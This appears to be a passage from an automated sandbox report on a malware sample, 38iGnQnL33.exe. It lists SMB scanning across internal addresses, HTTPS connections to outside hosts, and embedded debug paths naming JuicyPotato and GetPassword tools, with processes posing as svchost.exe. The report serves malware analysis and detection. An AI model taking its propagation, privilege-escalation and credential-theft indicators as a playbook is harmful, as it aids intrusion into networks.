Source: global traffic	TCP traffic: 192.168.0.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.255:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.111:445	Jump to behavior

Source: 38iGnQnL33.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:64982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:54005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 136.243.150.101:443 -> 192.168.2.4:57765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.131.126:443 -> 192.168.2.4:57765 version: TLS 1.2

Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\juicy-potato-master\JuicyPotato\Release\x64\JuicyPotato.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\GetPassword-master\x64\Release\GetPassword.pdb source: MpMgSvc.exe, MpMgSvc.exe, 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Wmicc.exe, 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb8)R) D)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb'MAM 3M_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.ResourceManager\4.0.1.0\System.Resources.ResourceManager.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb* source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Debug\4.0.11.0\System.Diagnostics.Debug.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO\4.1.2.0\System.IO.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdbSHA256O source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb4)N) @)_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq\4.1.2.0\System.Linq.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Drawing.Primitives\4.0.2.0\System.Drawing.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbTn `*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.ThreadPool\4.0.12.0\System.Threading.ThreadPool.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Dll1\x64\Release\Dll_X64.pdb source: 38iGnQnL33.exe, 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, MSSQLH.exe, 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp, MSSQLH.exe, 00000001.00000003.1649123700.00000000005F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256> source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb$> 0*_CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.UnmanagedMemoryStream\4.0.3.0\System.IO.UnmanagedMemoryStream.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Tools\4.0.1.0\System.Diagnostics.Tools.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Threading.Overlapped/netfx\System.Threading.Overlapped.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Xml/netfx\System.Runtime.Serialization.Xml.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization\4.0.11.0\System.Globalization.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb\|( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Security.Cryptography.Algorithms/netfx\System.Security.Cryptography.Algorithms.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
